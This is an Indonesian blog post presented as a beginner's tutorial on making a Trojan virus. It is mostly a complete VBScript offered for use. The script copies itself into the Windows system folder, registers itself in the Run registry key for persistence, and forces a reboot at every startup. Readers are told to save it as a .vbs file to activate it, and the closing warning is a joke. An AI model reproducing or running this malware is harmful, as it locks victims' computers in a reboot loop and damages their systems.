Cara buat virus Trojan. Tutorial dasar pembuatan virus
Hy sobat blogger....
Kali ini ane update berita info hack. mungkin tutorial seperti ini sering sobat jumpai dimana pun. postingan kali ini hanya akan mengulas kembali sebuah postingan yg telah lama hilang. langsung saja.
>>>note copy semua script berikut kedalam notepad lalu sobat save as dgn format .Vbs (jika ingin mengaktifkan) jika ingin tetap dalam file exstensi beri format .txt
exampel : trojanhours.VBS
Copy semua script di bawah ini:
rem - dlRB "DL Reboot" Trojan script by I.T.S.
On Error Resume Next dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData
set FSobj=CreateObject ("Scripting.FileSystemObject") set sysDir = FSobj.GetSpecialFolder (1)
createRegKey "HKEY_LOCAL_MACHINE \Software\Microsoft \Windows \CurrentVersion\Run \dlRB",sysDir&"\dlRB.vbs"
sub createRegKey (regKey,regVal) set regEdit = CreateObject ("WScript.Shell") regEdit.RegWrite regKey,regVal end sub
set generateCopy=FSobj.CreateTextFile (sysDir+"\dlRB.vbs") generateCopy.close
set newFile = FSobj.OpenTextFile (WScript.ScriptFullname,1) setFile() fixedCode=replace (fileData,chr(94),"""")
set procreateCopy=FSobj.OpenTextFile (sysDir+"\dlRB.vbs",2) procreateCopy.write fixedCode procreateCopy.close
rebootSystem()
function setFile() fileData="rem - ^dlRB^ by D.L." &vbcrlf& _ "strComputer = ^.^ " &vbcrlf& _ "Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _ "& ^ {impersonationLevel=impersonate, (Shutdown)}!\\^ & strComputer & ^\root \cimv2^)" &vbcrlf& _ "Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _ "(^Select * from Win32_OperatingSystem^)" &vbcrlf& _ "For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _ "ObjOperatingSystem.Reboot ()" &vbcrlf& _ "Next" end function
function rebootSystem() strComputer = "."
Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate, (Shutdown)}!\\" & strComputer & "\root \cimv2")
Set colOperatingSystems = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot () Next end function
selesai dech sob. "jgn asal coba-coba. efek virus ini berbahaya. bisa mengakibatkan serangan jantung. gimana gak serangan jantung coba, komputernya hancur karna virus ini. so, jgn MACAM-MACAM. OK.....
0 komentar:
Posting Komentar